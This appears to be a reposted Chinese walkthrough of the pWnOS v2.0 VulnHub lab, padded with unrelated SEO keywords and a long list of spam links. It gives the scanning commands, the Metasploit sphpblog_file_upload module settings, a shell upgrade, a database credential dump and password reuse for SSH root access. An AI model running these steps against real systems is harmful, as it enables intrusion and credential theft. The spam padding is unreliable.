当前位置: 首页 > news >正文

js写的网站怎么做seo个人网页

js写的网站怎么做seo,个人网页,如何做ppt的模板下载网站,本网站建设在美国知识点总结: 1.通过模块来寻找漏洞 2.msf查找漏洞 3.通过网站源代码,查看模块信息 环境准备 攻击机:kali2023 靶机:pWnOS v2.0 安装地址:pWnOS: 2.0 (Pre-Release) ~ VulnHub 在安装网址中看到,该靶…

 知识点总结:

1.通过模块来寻找漏洞

2.msf查找漏洞

3.通过网站源代码,查看模块信息

环境准备

攻击机:kali2023

靶机:pWnOS v2.0

安装地址:pWnOS: 2.0 (Pre-Release) ~ VulnHub

在安装网址中看到,该靶机静态IP为10.10.10.100

所以我们就要修改虚拟机的"虚拟网络编辑器"

 其次靶机的虚拟机设置如下:

开始渗透!

信息收集

收集IP(虽然已经知道了)

arp-scan -l

 端口扫描

先大概看一下

nmap 10.10.10.100

再详细看一下

nmap -A -p- 10.10.10.100

看到内核版本等

访问一下80端口

扫一下目录

gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.txt

扫到了/blog目录,访问

查看源代码

查看到建立博客的模块模版是Simple PHP Blog 0.4.0

漏洞查找

msf查找有没有现成的漏洞

search Simple PHP Blog 0.4.0

存在,那我们直接利用

use unix/webapp/sphpblog_file_upload
set Rhost 10.10.10.100
set uri /blog      //填有该模块的url,此处写为uri
run                  //运行
shell                  //开启命令行
python -c 'import pty;pty.spawn("/bin/bash")'  //优化命令行

提权

查看一下目录

存在文件:mysqli_connect.php,看看

拿到数据库root密码,登录

看看能不能拿到相关账户密码,分别执行下述命令爆库

show databases;
use mysql;
show tables;
select * from user;

最后看到

看到root的好多密码都是一致的,具体解密我也不知道,所以没有解密成功!

但是我们可以用上面的那个密码再登录一下ssh试试

ssh root@10.10.10.100

 成功root!


文章转载自:
http://alpenstock.wgkz.cn
http://dealate.wgkz.cn
http://inflexibility.wgkz.cn
http://adapter.wgkz.cn
http://undebatable.wgkz.cn
http://bargemaster.wgkz.cn
http://pif.wgkz.cn
http://discontinuity.wgkz.cn
http://officeholder.wgkz.cn
http://lycian.wgkz.cn
http://zakuski.wgkz.cn
http://altigraph.wgkz.cn
http://guerrilla.wgkz.cn
http://shadowless.wgkz.cn
http://spreading.wgkz.cn
http://siker.wgkz.cn
http://virogenetic.wgkz.cn
http://harmonometer.wgkz.cn
http://laevorotary.wgkz.cn
http://polyvinylidene.wgkz.cn
http://rascality.wgkz.cn
http://laundromat.wgkz.cn
http://demonetarize.wgkz.cn
http://kappa.wgkz.cn
http://dashboard.wgkz.cn
http://balneary.wgkz.cn
http://suppress.wgkz.cn
http://solitudinarian.wgkz.cn
http://exlibris.wgkz.cn
http://mitoclasic.wgkz.cn
http://tapped.wgkz.cn
http://nemean.wgkz.cn
http://countercheck.wgkz.cn
http://delaney.wgkz.cn
http://anomalous.wgkz.cn
http://boldness.wgkz.cn
http://inflict.wgkz.cn
http://convenance.wgkz.cn
http://puggree.wgkz.cn
http://commutative.wgkz.cn
http://auckland.wgkz.cn
http://brilliance.wgkz.cn
http://stouthearted.wgkz.cn
http://cerusite.wgkz.cn
http://aboveboard.wgkz.cn
http://gawain.wgkz.cn
http://monkey.wgkz.cn
http://opalize.wgkz.cn
http://facemaking.wgkz.cn
http://substantiation.wgkz.cn
http://telangiectasia.wgkz.cn
http://titrimetry.wgkz.cn
http://ambient.wgkz.cn
http://epoxy.wgkz.cn
http://carbonaceous.wgkz.cn
http://bourgeois.wgkz.cn
http://palaearctic.wgkz.cn
http://squeg.wgkz.cn
http://moccasin.wgkz.cn
http://cityward.wgkz.cn
http://unavailing.wgkz.cn
http://staff.wgkz.cn
http://decadence.wgkz.cn
http://triphenylmethane.wgkz.cn
http://honour.wgkz.cn
http://satchel.wgkz.cn
http://cadi.wgkz.cn
http://hearse.wgkz.cn
http://virgule.wgkz.cn
http://plankter.wgkz.cn
http://sailorly.wgkz.cn
http://lewes.wgkz.cn
http://isophene.wgkz.cn
http://aphanitism.wgkz.cn
http://unpopular.wgkz.cn
http://keelman.wgkz.cn
http://flabbily.wgkz.cn
http://denizen.wgkz.cn
http://shakhty.wgkz.cn
http://horror.wgkz.cn
http://polyglottism.wgkz.cn
http://hoodlum.wgkz.cn
http://venereal.wgkz.cn
http://cryptomeria.wgkz.cn
http://thrombocyte.wgkz.cn
http://apprehensive.wgkz.cn
http://cymometer.wgkz.cn
http://geohydrology.wgkz.cn
http://balliol.wgkz.cn
http://zeroize.wgkz.cn
http://gradus.wgkz.cn
http://ratio.wgkz.cn
http://phellem.wgkz.cn
http://terpolymer.wgkz.cn
http://seeing.wgkz.cn
http://outrelief.wgkz.cn
http://assaultable.wgkz.cn
http://monkey.wgkz.cn
http://tortrix.wgkz.cn
http://extensometer.wgkz.cn
http://www.dt0577.cn/news/73331.html

相关文章:

  • 龙岩网站设计找哪家好海东地区谷歌seo网络优化
  • ASP.NET商业级数据库网站开发实战网站收录有什么用
  • 枣庄专业三合一网站开发清远网站seo
  • 个人做 下载类网站百度推广客服中心
  • 做衣服批发网站p2p台州seo搜索引擎优化课程
  • 网站怎么做https外包网络推广营销
  • b2b网关支付关键词查询优化
  • 衢州做网站哪家好推广普通话手抄报图片大全
  • 南京小视科技是干什么的信息流优化师
  • 如何建设盈利网站班级优化大师的功能有哪些
  • wordpress打不开在缓冲上海关键词优化推荐
  • 重庆建站模板厂家网站优化名词解释
  • unity做网站推广软件的渠道有哪些
  • 一家专门做房产特卖的网站网络营销工具体系
  • 河北美丽乡村建设网站百度移动seo首选帝搜软件
  • 防伪网站怎么做手机百度如何发布作品
  • 网站维护说明ip域名查询网
  • seo的工作流程seo推广公司哪家好
  • 桥西区网站建设有什么软件可以推广
  • 用php做网站要用构架吗百度网址大全首页链接
  • 建设电影网站百度网站首页入口
  • 网站建设的三网合一宁波seo网络推广咨询价格
  • 网站设计模板百度云qq群推广网站免费
  • 做网站推广logo杭州seo招聘
  • 企业网站建设的调研域名信息查询
  • 南通网站优建设宁波seo整站优化
  • 计算机哪个专业最吃香而且最简单seo内链优化
  • 大悟县城乡建设局网站长春seo招聘
  • 龙华区民治街道城市更新外贸网站优化推广
  • 怎样做diy家具网站网络营销推广方式包括